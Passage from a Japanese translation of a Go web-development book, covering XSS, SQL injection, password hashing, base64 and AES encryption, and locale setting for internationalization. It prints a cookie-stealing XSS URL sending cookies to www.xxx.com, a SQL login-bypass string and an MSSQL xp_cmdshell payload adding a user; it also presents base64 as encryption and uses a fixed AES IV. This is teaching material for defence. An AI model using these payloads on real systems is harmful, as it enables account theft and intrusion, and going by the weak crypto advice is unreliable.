XSSは通常２つに大別することができます：ひとつは保存型XSSで、主にユーザにデータを入力させ、他にこのページを閲覧しているユーザが閲覧できる場所で出くわします。掲示板、コメント欄、ブログや各種フォーム等です。アプリケーションプログラムはデータベースからデータを検索し、画面に表示させます。攻撃者は関連する画面で悪意のあるスクリプトデータを入力したあと、ユーザがこのページを閲覧したときに攻撃をうけます。このプロセスを簡単にご説明すると：悪意あるユーザのHtmlがWebアプリケーションに入力->データベースに入る->Webアプリケーション->ユーザのブラウザ。もう一つはリフレクション型XSSです。主な方法はスクリプトコードをURLアドレスのリクエストパラメータに追加することです。リクエストパラメータがプログラムに入ると、ページに直接出力され、ユーザがこのような悪意あるリンクをクリックすることで攻撃を受けます。

現在のXSSの主な手段と目的は以下のとおり：

cookieを盗み、慎重に扱うべき情報を取得する。

Flashを埋め込むことで、crossdomainの権限設定により高い権限を取得する。またはJava等を利用して似たような操作を行う。

iframe、frame、XMLHttpRequestまたは上のFlashといった方法を利用して、（被害者の）ユーザの身分にある管理操作を実行する。またはマイクロブログを送信したり、フレンドを追加したり、プライベートなメールを送信したりといった通常の操作を実行する。少し前に新浪微博はXSSに遭遇しました。

攻撃可能なゾーンを利用してその他のゾーンの信任の機能を受ける。信任を受けたソースの身分で通常は許されていない操作をリクエストする。例えば不当な投票活動等。

PVが非常に大きいページでのXSSは小型のページを攻撃し、DDoS攻撃の効果を実現することができる。

XSSの原理

Webアプリケーションはユーザが送信したリクエストのデータに対し十分な検査およびフィルタリングを行なっていないと、ユーザが送信するデータにHTMLコードを許してしまい（主に“>”、“<”）、エスケープされていない悪意あるコードを第三者であるユーザのブラウザ上で解釈/実行させてしまいます。これがXSSセキュリティホールを生み出す原因となっています。

以下ではリフレクション型XSSを例にXSSのプロセスをご説明します：パラメータによってユーザの名前を出力するページがあるとします。例えばurl：http://127.0.0.1/?name=astaxieにアクセスすると、ブラウザでは以下のような情報を出力します：

hello astaxie

もし我々がhttp://127.0.0.1/?name=&#60;script&#62;alert(&#39;astaxie,xss&#39;)&#60;/script&#62;のようなurlを送信した場合、ブラウザがダイアログを表示することに気づくでしょう。これはつまり、ページにXSSセキュリティホールが存在することを示しています。では悪意あるユーザはどのようにしてCookieを盗み出すのでしょうか？上と同じように、http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;というurlでは、現在のcookieが指定されたページ、www.xxx.comに送信されます。このようなURLは一目見て問題があるとわかると思われるかもしれません。いったい誰がクリックするのかと。そうです。このようなURLは人に疑われがちです。しかしURL短縮サービスを使ってこれを短縮した場合、あなたは気づくことができるでしょうか？攻撃者は短縮されたurlをなんらかの経路で広め、真相を知らないユーザが一旦このようなurlをクリックすることで、対応するcookieデータがあらかじめ設定されたページに送信されてしまいます。このようにユーザのcookie情報を盗んだあとは、Websleuthといったツールを使うことでこのユーザのアカウントを盗み出すことができるか検査されてしまいます。

XSSに関するより詳しい分析は"新浪微博XSS事件分析"と呼ばれる記事を参考にしてください。

どのようにしてXSSを予防するか

答えは簡単です。ユーザのいかなる入力も決して信用せず、入力に含まれるすべての特殊文字をフィルタリングするのです。このようにすれば大部分のXSS攻撃を根絶することができます。

現在XSSの防御では主に以下のいくつかの方法があります：

特殊文字のフィルタリング

XSSを避ける方法の一つは主にユーザが提供するコンテンツに対してフィルタリングを行うことです。Go言語ではHTMLのフィルタリング関数を提供しています：

text/templateパッケージのHTMLEscapeString、JSEscapeStringといった関数です。

HTTPヘッダに指定した型を使用する

w.Header().Set("Content-Type","text/javascript")

このようにすることでブラウザにhtmlを出力させずjavascriptコードを解釈させることができます。

まとめ

XSSセキュリティホールはとても危険なものです。Webアプリケーションを開発している時、必ずデータをフィルタリングするよう肝に銘じておいてください。特にクライアントに出力する前に。これは現在のところXSSを防止する手段として有効です。

Generated by md2min

9.4 SQLインジェクションの回避

SQLインジェクションとは何か

SQLインジェクション実例

どのようにしてSQLインジェクションを予防するか

まとめ

SQLインジェクションとは何か

SQLインジェクション攻撃（SQL Injection）、省略して注入攻撃はWeb開発において最もよく見かけるセキュリティホールの一種です。データベースから慎重に扱うべき情報を取得することができます。またはデータベースの特徴を利用してユーザの追加したりファイルをエクスポートしたりといった一連の悪意ある操作を行うことができます。データベースないしシステムユーザの最高権限を取得することすらありえます。

SQLインジェクションが発生する原因はプログラムがユーザの入力に有効フィルタリングを施しておらず、攻撃者がサーバに対し悪意あるSQL検索クエリを送信させてしまうからです。プログラムが攻撃者の入力を誤って検索クエリの一部として実行し、オリジナルの検索ロジックが改竄され、想定外に攻撃者が手塩にかけて作った悪意あるコードを実行してしまいます。

SQLインジェクション実例

多くのWeb開発者はSQLクエリが改ざんされるとは意識していません。そのためSQLクエリを信用できるコマンドとしてしまいます。意外にも、SQLクエリはアクセスコントロールを迂回することができます。そのため、身分の検証と権限の検査を迂回します。SQLクエリからホストシステムレベルのコマンドが実行されてしまうこともあります。

以下では実際の例によってSQLインジェクションの方法について詳しくご説明します。

以下のような簡単なログインフォームについて考えます：

<form action="/login" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" value="ログイン" /></p>
</form>

我々の処理ではSQLはおそらくこのようになります：

username:=r.Form.Get("username")
password:=r.Form.Get("password")
sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'"

もしユーザが以下のようなユーザ名を入力して、パスワードが任意だった場合

myuser' or 'foo' = 'foo' --

我々のSQLは以下のようになります：

SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx'

SQLでは--はコメントを表します。そのため、検索クエリは途中で中断されます。攻撃者は合法的なユーザ名とパスワードを知らなくてもログインに成功します。

MSSQLではシステムをコントロールするさらに危険なSQLインジェクションがあります。下の恐ろしい例ではあるバージョンのMSSQLデータベース上でどのようにシステムコマンドを実行するか示しています。

sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'"
Db.Exec(sql)

もし攻撃でa%' exec master..xp_cmdshell 'net user test testpass /ADD' --がprod変数として送信されると、sqlは以下のようになります

sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"

MSSQLサーバは後ろのシステムに新しいユーザを追加するコマンドを含んだSQLクエリを実行します。もしこのプログラムがsaで実行され、かつMSSQLSERVERサービスに十分な権限があれば、攻撃者はシステムアカウントを取得しホストにアクセスすることができます。

上の例はある特定のデータベースシステムに対してですが、他のデータベースシステムで似たような攻撃が実施できないことを表すものではありません。このようなセキュリティホールは異なる方法を使用するだけで、あらゆるデータベースにおいて発生する可能性があります。

どのようにしてSQLインジェクションを予防するか

攻撃者はデータベースの構造の情報を知っていなければSQLインジェクション攻撃は実施できないと思われるかもしれません。確かにその通りです、しかし誰も攻撃者がこのような情報を取得できないとは保証できません。一旦彼らの手にわたってしまうと、データベースは危険に曝されます。もしBBSプログラムなどでオープンソースのソフトウェアパッケージを使ってデータベースにアクセスしているのであれば、攻撃者は容易に関連するコードを取得できます。もしこれらのコードの設計に不備があれば、リスクは更に大きくなります。現在Discuz、phpwind、phpcms等流行のオープンソースプログラムはいずれもSQLインジェクションによる攻撃の例があります。

これらの攻撃は常にセキュリティの高くないコードで発生します。そのため、外界で入力されたデータは永遠に信用してはいけません。特にセレクトボックスやフォームのhidden項目、cookieといったユーザからのデータがそうです。上のはじめの例のように、正常な検索であっても災難に見舞われる可能性があります。

SQLインジェクション攻撃の被害はこれだけ大きく、どのように予防すればよいのでしょうか？以下のこれらの提案はひょっとしたらSQLインジェクションの予防に一定の助けとなるかもしれません。

Webアプリケーションのデータベースの操作権限を厳格に制限する。このユーザにはその作業に必要となる最低限の権限だけを与え、できる限りSQLインジェクション攻撃がデータベースに与える被害を減少させる。

入力されたデータが期待するデータ形式であるか検査し、変数の型を厳格に制限する。例えばregexpパッケージを使ってマッチング処理を行ったり、strconvパッケージを使って文字列を他の基本型のデータに変換することで判断する。

データベースに入ってくる特殊文字（’"\角括弧&*;等）に対してエスケープ処理を行う。またはエンコードする。Goのtext/templateパッケージにはHTMLEscapeString関数があり、文字列に対してエスケープ処理を行うことができます。

すべての検索クエリにはなるべくデータベースが提供するパラメータ化検索インターフェースを使用する。パラメータ化されたクエリはパラメータを使用し、ユーザが入力した変数をSQLクエリに埋め込みません。すなわち、直接SQLクエリを組み立てないということです。例えばdatabase/sqlの検索関数PrepareとQueryを使ったり、Exec(query string, args ...interface{})を使います。

アプリケーションをデプロイする前になるべく専門のSQLインジェクション検査ツールを使って検査を行い、発見されたSQLインジェクションセキュリティホールにはすぐにパッチをあてる。ネット上ではこの方面のオープンソースツールがたくさんあります。例えばsqlmap、SQLninja等です。

ページがSQLのエラー情報を出力するのを避ける。例えば型のエラー、フィールドのミスマッチ等です。コードのSQLクエリが暴露されることで攻撃者がこれらのエラー情報を利用してSQLインジェクションを行うのを防ぎます。

まとめ

上の例によってSQLインジェクションは被害が相当大きいセキュリティホールであるとわかりました。そのため我々が通常書くWebアプリケーションに対してはどのような小さな事でも非常に重視する必要があります。小さな事が命運を分けます。生活も同じ、Webアプリケーションを書くことも同じです。

Generated by md2min

9.5 パスワードの保存

普通の方法

よりよい方法

専門的な方法

まとめ

ほんの少し前から、多くのページにおいてユーザのパスワードが漏洩する事件が発生しています。これにはトップレベルのインターネット企業が含まれます - Linkdin, 国内ではCSDNの事件が国内のインターネット上を駆け巡りました。また多玩遊戯の800万のユーザデータが漏洩しました。また人人網、開心網、天涯社区、世紀佳縁、百合網といったコミュニティもハッカーの次の目標になったと噂されています。尽きることのない似たような事件がユーザのネット生活に巨大な影響を与えています。人々は自衛し、人々は往々にして異なるウェブサイトで同じパスワードを使用することに慣れてしまっていますから、一箇所でデータベースが暴かれてしまうとすべてに影響がでます。

Webアプリケーションの開発者として、パスワードの保存方法を選択する際はどのような罠に陥りがちになるのでしょうか。またどのようにしてこれらの罠を回避すべきでしょうか？

普通の方法

現在最も多く使用されているパスワードの保存方法は平文のパスワードを単方向ハッシュにかけて保存するものです。単方向ハッシュアルゴリズムの特徴は：ハッシュされたあとのダイジェスト(digest)からはオリジナルのデータを復元することができないということです。これが“単方向”であるということの所以です。よく使われる単方向ハッシュアルゴリズムにはSHA-256、SHA-1、MD5等があります。

Go言語のこの三種類の暗号化アルゴリズムの実装は以下の通り：

//import "crypto/sha256"
h := sha256.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))

//import "crypto/sha1"
h := sha1.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))

//import "crypto/md5"
h := md5.New()
io.WriteString(h, "暗号化する必要のあるパスワード")
fmt.Printf("%x", h.Sum(nil))

単方向ハッシュには２つの特徴があります：

1）同じパスワードを単方向ハッシュにかけると、いつでもユニークな確定したダイジェストを得ます。

2）速い計算速度。技術の進歩により、現在は一秒間に数十億回の単方向ハッシュ計算が可能です。

上の２つの特徴を総合して、多数の人間が使用するパスワードをよくあるセットとして考えると、攻撃者はすべてのパスワードのよくあるセットに対して単方向ハッシュをかけることで、ダイジェストのセット得ることができます。その後データベースの中のダイジェストと比較することで対応するパスワードを取得することができます。このダイジェストのセットをrainbow tableと呼びます。

そのため、単方向暗号化を行ったあとに保存されたデータは平文で保存されるのとあまり違いはありません。ですので一旦ウェブサイトのデータベースが漏洩すると、すべてのユーザのパスワード自身が白日のもとに晒されることになります。

よりよい方法

上ではハッカーがrainbow tableを使用することでハッシュされたパスワードをクラックできるとご紹介しました。大抵の場合は暗号化時に使用されたハッシュアルゴリズムが公開されているものであることが原因です。もしハッカーが暗号化のハッシュアルゴリズムが何かを知らなければ、どこから手をつけてよいかわかりません。

直接的な解決方法の一つは、自分でハッシュアルゴリズムをデザインすることです。しかしながら、優良なハッシュアルゴリズムはとてもデザインが難しいのです- - 衝突を避けなければなりませんし、分かりやすいルールであってもいけません。この２つを満たすのは想像よりもずっと困難です。そのため、実際のアプリケーションでは既存のハッシュアルゴリズムを利用して複数回ハッシュすることが行われます。

しかし単純な複数回ハッシュでは、ハッカーを止めることはできません。二回のMD5や三回のMD5といった我々でも思いつく方法は、ハッカーも当然思いつきます。特にいくつかのオープンソースに対しては、このようなハッシュは直接アルゴリズムをハッカーに告げているのと同じことです。

破られない盾はありません。しかし折れない矛もまたありません。現在セキュリティが比較的優秀なウェブサイトはいずれも“ソルト”とよばれる方法によってパスワードを保存しています。よく言われる“salt”のことです。彼らの通常の方法はまずユーザが入力したパスワードに対してMD5（または他のハッシュアルゴリズム）で一度暗号化します。得られたMD5の値の前後に管理者自身だけが知っているランダムな文字列を追加して、再度MD5で暗号化します。このランダムな文字列にはなんらかの一定の文字列が含まれていてもかまいません。ユーザ名が含まれていてもかまいません。（各ユーザの暗号化に使用された秘密鍵が一致しないことを保証するために使用します）。

//import "crypto/md5"
//ユーザ名をabc、パスワードを123456とします
h := md5.New()
io.WriteString(h, "暗号化が必要なパスワード")

//pwmd5はe10adc3949ba59abbe56e057f20f883eです。
pwmd5 :=fmt.Sprintf("%x", h.Sum(nil))

//saltを２つ指定します： salt1 = @#$%   salt2 = ^&*()
salt1 := "@#$%"
salt2 := "^&*()"

//salt1+ユーザ名+salt2+MD5を連結します。
io.WriteString(h, salt1)
io.WriteString(h, "abc")
io.WriteString(h, salt2)
io.WriteString(h, pwmd5)

last :=fmt.Sprintf("%x", h.Sum(nil))

２つのsaltが漏洩していなければ、ハッカーはもし最後のこの暗号化された文字列を手に入れてもオリジナルのパスワードが何だったのか推測するのはほとんど不可能です。

専門的な方法

上の“よりよい方法”は数年前には十分安全な方法であったかもしれません。攻撃者はこれほど多くのrainbow tableを作成するだけの十分なリソースが無かったためです。しかし、今日に至っては並列計算能力の向上によりこのような攻撃はすでにまったくもって可能です。

どうやってこの問題解決するのでしょうか？時間とリソースが許せば、クラックできないパスワードはありません。ですので方法は：故意にパスワードの計算に必要となるリソースと時間を増加させることによって、誰にもrainbow tableを作成するのに必要となるリソースを与えないようにするのです。

この方法にはひとつの特徴があります。アルゴリズムにはどれも因子があります。パスワードのダイジェストを計算するのに必要となるリソースと時間を説明するのに使われ、計算強度でもあります。計算強度が大きければ大きいほど、攻撃者がrainbow tableを作成するのが困難になり、ついには継続できなくなります。

ここではscryptの方法をおすすめしましょう。scryptは有名なFreeBSDハッカーであるColin Percivalが彼の予備のサービスとしてTarsnapで開発しました。

現在Go言語でサポートされているライブラリhttp://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt

dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)

上の方法によってユニークな対応するパスワードの値を取得することができます。これは現在までもっともクラックが難しいものです。

まとめ

ここまででもしあなたに危機感が芽生えたのだとすれば、行動すべきです：

1）もし普通のユーザであれば、LastPassによってパスワードを保存/生成するのをおすすめします。異なるサイトで異なるパスワードを使用します。

2）もしデベロッパであれば、専門的な方法でパスワードを保存するよう強くおすすめします。

Generated by md2min

9.6 データを暗号化/復号する

base64で暗号化/復号する

高度な暗号化/復号

まとめ

前の節でどのようにしてパスワードを保存するかご紹介しました。しかしあるときには、慎重に扱うべきデータを暗号化して保存し、将来のあるときにいつでもそれらを復元したい場合があります。この時双方向暗号化アルゴリズムを使って我々の要求を満たさなければなりません。

base64で暗号化/復号する

もしWebアプリケーションが十分に簡単であれば、データのセキュリティにはそれほど厳格な要求があるわけではありません。ですので比較的簡単な暗号化であるbase64を採用することができます。このような方法は実装するのが比較的簡単で、Go言語のbase64パッケージではすでにこれをよくサポートしています。下の例をご覧ください：

package main

import (
    "encoding/base64"
    "fmt"
)

func base64Encode(src []byte) []byte {
    return []byte(base64.StdEncoding.EncodeToString(src))
}

func base64Decode(src []byte) ([]byte, error) {
    return base64.StdEncoding.DecodeString(string(src))
}

func main() {
    // encode
    hello := "你好，世界！ hello world"
    debyte := base64Encode([]byte(hello))
    fmt.Println(debyte)
    // decode
    enbyte, err := base64Decode(debyte)
    if err != nil {
        fmt.Println(err.Error())
    }

    if hello != string(enbyte) {
        fmt.Println("hello is not equal to enbyte")
    }

    fmt.Println(string(enbyte))
}

高度な暗号化/復号

Go言語のcryptoでは双方向暗号の高度な暗号化/復号パッケージがあります：

crypto/aesパッケージ:AES(Advanced Encryption Standard)は、Rijndael暗号化アルゴリズムとも呼ばれます。アメリカの連邦政府が採用しているブロック暗号の標準の一つです。

crypto/desパッケージ：DES(Data Encryption Standard)は双方向暗号化標準のひとつです。これは現在秘密鍵のシステムに最も広く使用されています。特に金融データのセキュリティの保護で使われています。かつてアメリカ連邦政府の暗号化のスタンダードでしたがすでにAESにとってかわられています。

これら２つのアルゴリズムは使用方法が似ていますので、ここではaesパッケージだけを例にこの使用を解説します。下の例をご覧ください

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "fmt"
    "os"
)

var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}

func main() {
    // 暗号化したい文字列
    plaintext := []byte("My name is Astaxie")
    // 暗号化された文字列を渡すと、plaintは渡された文字列になります。
    if len(os.Args) > 1 {
        plaintext = []byte(os.Args[1])
    }

    // aesの暗号化文字列
    key_text := "astaxie12798akljzmknm.ahkjkljl;k"
    if len(os.Args) > 2 {
        key_text = os.Args[2]
    }

    fmt.Println(len(key_text))

    // 暗号化アルゴリズムaesを作成
    c, err := aes.NewCipher([]byte(key_text))
    if err != nil {
        fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)
        os.Exit(-1)
    }

    // 暗号化文字列
    cfb := cipher.NewCFBEncrypter(c, commonIV)
    ciphertext := make([]byte, len(plaintext))
    cfb.XORKeyStream(ciphertext, plaintext)
    fmt.Printf("%s=>%x\n", plaintext, ciphertext)

    // 復号文字列
    cfbdec := cipher.NewCFBDecrypter(c, commonIV)
    plaintextCopy := make([]byte, len(plaintext))
    cfbdec.XORKeyStream(plaintextCopy, ciphertext)
    fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy)
}

上ではaes.NewCipher(引数keyはかならず16、24または32桁の[]byteとなります。それぞれAES-128, AES-192とAES-256アルゴリズムに対応します。)関数をコールするとcipher.Blockインターフェースを返します。このインターフェースは３つの機能を実現します：

type Block interface {
    // BlockSize returns the cipher's block size.
    BlockSize() int

    // Encrypt encrypts the first block in src into dst.
    // Dst and src may point at the same memory.
    Encrypt(dst, src []byte)

    // Decrypt decrypts the first block in src into dst.
    // Dst and src may point at the same memory.
    Decrypt(dst, src []byte)
}

この３つの関数は暗号化/復号操作を実現します。詳細な操作は上の例をご覧ください。

まとめ

この節ではいくつかの暗号化/復号アルゴリズムをご紹介しました。Webアプリケーションを開発している時は要求に合わせて異なる方法によって暗号化/復号を行うことができます。一般的なアプリケーションではbase64アルゴリズムを採用することができます。より高度な場合はaesやdesアルゴリズムを採用することができます。

Generated by md2min

9.7 まとめ

この章ではCSRF攻撃、XSS攻撃、SQLインジェクション攻撃といったWebアプリケーションの典型的な攻撃手法をご紹介しました。これらはどれもアプリケーションがユーザの入力に対して良いフィルタリングを起こさなかったことによるものです。そのため、攻撃の方法をご紹介する以外に、これらの攻撃の発生を防止する方法としてどのようにして有効にデータをフィルタリングするかについてもご紹介しました。また、日増しに発生する重大なパスワード漏洩事件に対し、Webアプリケーションを設計する上で採用可能な暗号化ソリューションについて基礎から専門的なものまでご紹介しました。最後に慎重に扱うべきデータに対する暗号化/復元をご紹介しました。Go言語では三種類の双方向暗号化アルゴリズムを提供しています：base64、aesとdesの実装です。

この章を書いた目的は読者の意識でセキュリティの概念を強化して欲しいと思ったからです。Webアプリケーションを書く時はぜひご注意していただき、我々が書くWebアプリケーションをハッカー達の攻撃から遠ざけるようにしてください。これらのパッケージを十分に利用することで、安全なWebアプリケーションを作ることができます。

Generated by md2min

10 国際化とローカライズ

目次

経済のグローバル化に対応する為、開発者として、多言語、国際化をサポートするWebアプリケーションを開発する必要があります。すなわち、同じページに異なる言語環境下で異なる効果を表示させる必要があります。つまりアプリケーションプログラムが実行される際リクエストの発信元の地域と言語の違いによって異なるユーザ・インターフェースを表示できなければなりません。このように、アプリケーション・プログラムにおいて新しい言語の追加をサポートする時、アプリケーションプログラムのコードの修正を必要とせずとも、言語パッケージを追加するだけで実現することができます。

国際化とローカライズ（Internationalization and localization,通常はi18nとL10Nによって表現されます）、国際化とは、ある地域に対してデザインされたプログラムを再構築するということです。それによりその他の多くの地域でも使用できるようにします。ローカライズとは国際化を睨んだプログラムにおいて新しい地域に対するサポートを追加することを指します。

現在、Go言語の標準パッケージではi18nのサポートは提供されておりません。しかし、比較的簡単なサードパーティの実装があります。この章ではgo-i18nライブラリを実装し、Go言語のi18nをサポートすることにします。

いわゆる国際化とは：特定のlocal情報に従って、これに対応する文字列またはそのたの物（たとえば時間や通貨のフォーマットです）を取り出すといったことです。これには３つの問題があります：

1、どのようにしてlocaleを確定するのか。

2、どのようにしてlocaleに対応した文字列またはその他の情報を保存するのか。

3、どのようにしてlocaleに沿って文字列とその他対応する情報を取り出すのか。

この節ではどのようにして正しいlocaleを設定し、アクセスしたサイトのユーザにその言語に対応するページを取得させるようにできるかをご紹介します。第二節ではどのようにして文字列、通貨、日時といったlocaleに対応した情報を処理または保存するのかについてご紹介します。第三節ではサイトの国際化をどのように実現するのかについてご紹介します。すなわち、どのようにして異なるlocaleに対してふさわしいコンテンツを返すかということです。この３つの節を学習することで、完全なi18nソリューションを得ることができます。

目次

Generated by md2min

10.1 デフォルトロケールの設定

Localeとは何か

Localeを設定

ドメイン名によってLocaleを設定

ドメインのパラメータからLocaleを設定

クライアントからロケールを設定

まとめ

Localeとは何か

Localeとは世界中のある特定の地域を表現したテキスト形式と言語習慣の設定のセットです。locale名は通常３つの部分から構成されます：第一部分は強制的なもので、言語の省略を表します。例えば“en”は英文を表し、“zh”は中文を表します。第二部分はアンダースコアを一つ置いてオプションとなる国の説明記号が入ります。同じ言語の異なる国を区別するために用いられます。例えば"enUS“はアメリカ英語を表し、”enUK“はイギリス英語を表します。最後の部分はピリオドを挟んでオプションとなる文字符号化方式の説明記号となります。例えば”zh_CN.gb2312"は中国で使用されるgb2312符号化方式を表します。

GO言語はデフォルトで“UTF-8”符号化方式を採用しています。ですので、i18nを実装する際３つ目の部分は考慮しません。以降ではlocaleが表現する前の２つの部分でもってi18n標準のlocale名とします。

LinuxとSolarisシステムではlocale -aコマンドを使ってサポートされるすべての地域名をリストアップすることができます。読者はこれらの地域名の命名規則を見ることができます。BSDといったシステムではlocaleコマンドはありません。しかし地域情報は/usr/share/localeに保存されています。

Localeを設定

上のlocaleに対する定義で、ユーザの情報(アクセス情報、個人情報、アクセスしたドメイン名等)に従ってこれに対応するlocaleを設定する必要があります。以下のいくつかの方法を使ってユーザのlocaleを設定することができます。

ドメイン名によってLocaleを設定

Localeの設定にはアプリケーションが実行される際のドメインによって区別する方法があります。例えば、www.asta.comを我々の英語のサイト(デフォルトサイト)として、www.asta.cnというドメイン名を中国語のサイトとしたとします。この場合アプリケーションではドメイン名と対応するlocaleの対応関係を設定することで地域を設定ｓるうことができます。このような処理にはいくつかのメリットがあります：

URLを見るだけで簡単に識別できる

ユーザはドメイン名を通して直感的にどの言語のサイトに訪問するか知ることができる。

Goプログラムでは実装が非常に簡単で便利。mapを一つ使うだけで実現できる。

サーチエンジンのクローリングに有利。サイトのSEOを高めることができる。

下のコードによってドメイン名の対応するlocaleを実現できます：

if r.Host == "www.asta.com" {
    i18n.SetLocale("en")
} else if r.Host == "www.asta.cn" {
    i18n.SetLocale("zh-CN")
} else if r.Host == "www.asta.tw" {
    i18n.SetLocale("zh-TW")
}

当然全体のドメイン名で地域を設定する以外に、サブドメインによって地域を設定することもできます。例えば“en.asta.com”が英語のサイトを表し、“cn.asta.com”が中文のサイトを表します。実装するコードは以下の通り：

prefix := strings.Split(r.Host,".")

if prefix[0] == "en" {
    i18n.SetLocale("en")
} else if prefix[0] == "cn" {
    i18n.SetLocale("zh-CN")
} else if prefix[0] == "tw" {
    i18n.SetLocale("zh-TW")
}

ドメイン名によるLocaleの設定は上で示したようなメリットがあります。しかし一般的にWebアプリケーションを開発する場合このような方法は採用されません。なぜならまずドメインはコストが比較的高く、Localeを一つ開発するのに一つドメイン名を必要とするからです。また、往々にして統一されたドメイン名を申請できるかどうか分かりません。次に各サイトに対してローカライズというひとつの設定を行いたくなく、urlの後にパラメータを追加する方法が採用されがちです。下のご紹介をご覧ください。

ドメインのパラメータからLocaleを設定

現在最もよく使われるLocaleの設定方法はURLにパラメータを追加することです。例えばwww.asta.com/hello?locale=zhまたはwww.asta.com/zh/helloといった具合に。このようにすることで地域を設定することができます：i18n.SetLocale(params["locale"])。

このような設定方法は前に述べたドメインによるLocaleの設定のすべてのメリットをほとんど持ちあわせています。これはRESTfulな方法を採用しており、余計な方法を追加することで処理する必要がありません。しかしこのような方法では各linkにおいて対応するパラメータlocaleを追加する必要があり、すこし複雑でかなりめんどくさい場合もあります。しかし共通の関数urlを書くことですべてのlinkアドレスをこの関数を通して生成することができます。この関数ではlocale=params["locale"]パラメータを追加することでめんどくささを和らげます。

URLアドレスをもっとRESTfulな見た目にしたいと思うかもしれません。例えば：www.asta.com/en/books(英語のサイト)とwww.asta.com/zh/books(中国語のサイト)。このような方法のURLはさらにSEOに効果的です。またユーザビリティもよく、URLから直感的にアクセスしているサイトを知ることができます。このようなURLアドレスはrouterを使ってlocaleを取得します(RESTの節でご紹介したrouterプラグインの実装をご参考ください)：

mux.Get("/:locale/books", listbook)

クライアントからロケールを設定

ある特殊な状況下では、URLによってではなくクライアントの情報からLocaleを設定する必要があります。これらの情報はクライアントで設定された言語(ブラウザで設定されています)やユーザのIPアドレス、ユーザが登録した時に入力した所在地情報などからきているかもしれません。これらの方法はWebを基礎とするアプリケーションに比較的合っています。

Accept-Language

クライアントがリクエストした時HTTPヘッダ情報にはAccept-Languageがあります。一般のクライアントはこの情報を設定しています。以下はGo言語で実装したAccept-Langugeにしたがってロケールを設定する簡単なコードです：

AL := r.Header.Get("Accept-Language")
if AL == "en" {
    i18n.SetLocale("en")
} else if AL == "zh-CN" {
    i18n.SetLocale("zh-CN")
} else if AL == "zh-TW" {
    i18n.SetLocale("zh-TW")
}

当然実際のアプリケーションでは、より厳格に判断することでロケールの設定を行う必要があるかもしれません - IPアドレス

もうひとつクライアントからロケールを設定する方法はユーザアクセスのIPです。対応するIPライブラリによって対応するアクセスIPをロケールにします。現在世界中で比較的よく使われているのはGeoIP Lite Countryというライブラリです。このようなロケール設定のメカニズムは非常に簡単で、IPデータベースでユーザのIPを検索するだけで国と地域が返ってきます。返された結果にしたがって対応するロケールを設定します。

ユーザprofile

当然ユーザにあなたが提供するセレクトボックスや他の何らかの方法で対応するlocaleを設定させることもできます。ユーザの入力した情報を、このアカウントに関連するprofileに保存し、ユーザが再度ログインした時にこの設定をlocale設定にコピーします。これによってこのユーザの毎回のアクセスで自分が以前に設定したlocaleをもとにページを取得するよう保証することができます。

まとめ

上のご紹介から、Localeの設定にはいくつもの方法があるとわかりました。要求の違いによって異なるLocaleの設定方法を選択する必要があります。ユーザが最もよく知る方法で我々が提供するサービスを得る事で、アプリケーションのユーザビリティを高めます。

Generated by md2min

10.2 ローカライズリソース

ローカライズテキスト情報

日付と日時のローカライズ

通過の値のローカライズ

ビューとリソースのローカライズ

まとめ

前の節ではどのようにしてLocaleを設定するかご紹介しました。Localeを設定したあとはどのようにしてLocaleに対応する情報を保存するかという問題を解決する必要があります。ここでの情報とは以下の内容を含みます：テキスト情報、時間と日時、通貨の値、画像、ファイルや動画といったリソース等です。ここではこれらの情報に対してご紹介していきたいと思います。Go言語ではこれらのフォーマットの情報をJSONに保存します。その後それぞれ適した方法によって表示します。(以下では日本語と英語の２つの言語を対比して例を挙げます。保存の形式はそれぞれen.jsonとja-JP.jsonです。)

ローカライズテキスト情報

この情報はWebアプリケーションを書く中で最も使われるもので、ローカライズリソースでも最も多い情報でもあります。ロケールの言語に合った方法でテキスト情報を表示したい場合、ひとつの方法としては必要となる言語に対応したmapを作成することでkey-valueの関係を維持するというものがあります。出力される前に最適なmapから対応するテキストを取り出します。以下は簡単な例です：

package main

import "fmt"

var locales map[string]map[string]string

func main() {
    locales = make(map[string]map[string]string, 2)
    en := make(map[string]string, 10)
    en["pea"] = "pea"
    en["bean"] = "bean"
    locales["en"] = en
    cn := make(map[string]string, 10)
    cn["pea"] = "ピーナッツ"
    cn["bean"] = "枝豆"
    locales["ja-JP"] = cn
    lang := "ja-JP"
    fmt.Println(msg(lang, "pea"))
    fmt.Println(msg(lang, "bean"))
}

func msg(locale, key string) string {
    if v, ok := locales[locale]; ok {
        if v2, ok := v[key]; ok {
            return v2
        }
    }
    return ""
}

上の例では異なるlocaleのテキストの翻訳を試みました。日本語と英語に対して同じkeyで異なる言語の実装を実現しています。上では中文のテキスト情報を実装しています。もし英語バージョンに切り替えたい場合は、lang設定をenにするだけです。

場合によってはkey-valueを切り替えるだけでは要求を満足できない場合があります。たとえば“I am 30 years old”といったような、日本語では“今年で30になります”となる場合、ここでの30は変数です。どうすればよいでしょうか？この時、fmt.Printf関数を組み合わせることで実装することができます。下のコードをご覧ください：

en["how old"] ="I am %d years old"
cn["how old"] ="今年で%dになります"

fmt.Printf(msg(lang, "how old"), 30)

上のコード例では内部の実装方法を使用しただけで、実際のデータはJSONの中に保存されています。そのため、json.Unmarshalを使って対応するmapにデータを追加することができます。

日付と日時のローカライズ

